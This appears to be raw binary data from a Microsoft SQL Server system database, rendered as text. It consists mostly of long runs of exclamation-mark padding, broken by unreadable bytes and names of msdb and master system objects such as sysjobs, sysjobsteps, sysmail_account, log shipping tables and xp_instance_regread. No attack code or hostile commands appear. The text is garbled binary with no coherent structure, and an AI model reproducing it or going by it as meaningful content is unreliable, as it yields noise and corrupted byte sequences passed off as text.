!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!V
		J	^bp*
D\T8t0`]&bFM Bqu0}%@	@TZbsyspolicy_policies_internaldbomsdb0ɍ@	@^dlsysutility_ucp_instance_policiesdbomsdb0@	`JPsp_add_jobstep_internaldbo0ɍ@	@^dlsysutility_ucp_computer_policiesdbomsdb0ɍ@	@NT\sysutility_ucp_instancesdbomsdb!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.~`YpbD
MU.Z;07\	@,2:sysjobsdbomsdb0>W\	@nt|sysutility_ucp_processing_state_internaldbomsdb0׶l\	@<BJsysmail_profiledbomsdb0\	pVsp_syscollector_upload_instmdw0\	pPsyscollector_blobs_internal0+]	@JPXlog_shipping_primariesdbomsdb0+]	@^dlsp_add_log_shipping_monitor_jobsdbomsdb0`]	@<BJsysmail_accountdbomsdb0:]	@6<Dsysjobs_viewdbomsdb0:]	@4:Bsysjobstepsdbomsdb0]	`RXsyscollector_blobs_internaldbo0]	@DJVxp_instance_regreaddbomaster0^	@JPXlog_shipping_primariesdbomsdb0^	@NT\log_shipping_secondariesdbomsdb0IT^	@<BJsysmail_profiledbomsdb0s	^	`DJSQLAGENT_SUSER_SNAMEdbo0s	^	@6<Dsysjobs_viewdbomsdb0s	^	@8>Fsysjobserversdbomsdb0s	^	@4:Bsysjobstepsdbomsdb0s	^	@HNVsystargetservers_viewdbomsdb0>W\	@v|sysutility_ucp_mi_file_space_health_internaldbomsdb0>W\	`jpfn_sysutility_ucp_get_aggregated_healthdbo0wK]	@nt|sysutility_ucp_processing_state_internaldbomsdb0wK]	`jpfn_sysutility_ucp_get_aggregated_healthdbo0wK]	@rxsysutility_ucp_mi_database_health_internaldbomsdb0?^	@x~sysutility_ucp_dac_file_space_health_internaldbomsdb0?^	@nt|sysutility_ucp_processing_state_internaldbomsdb0?^	`jpfn_sysutility_ucp_get_aggregated_healthdbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!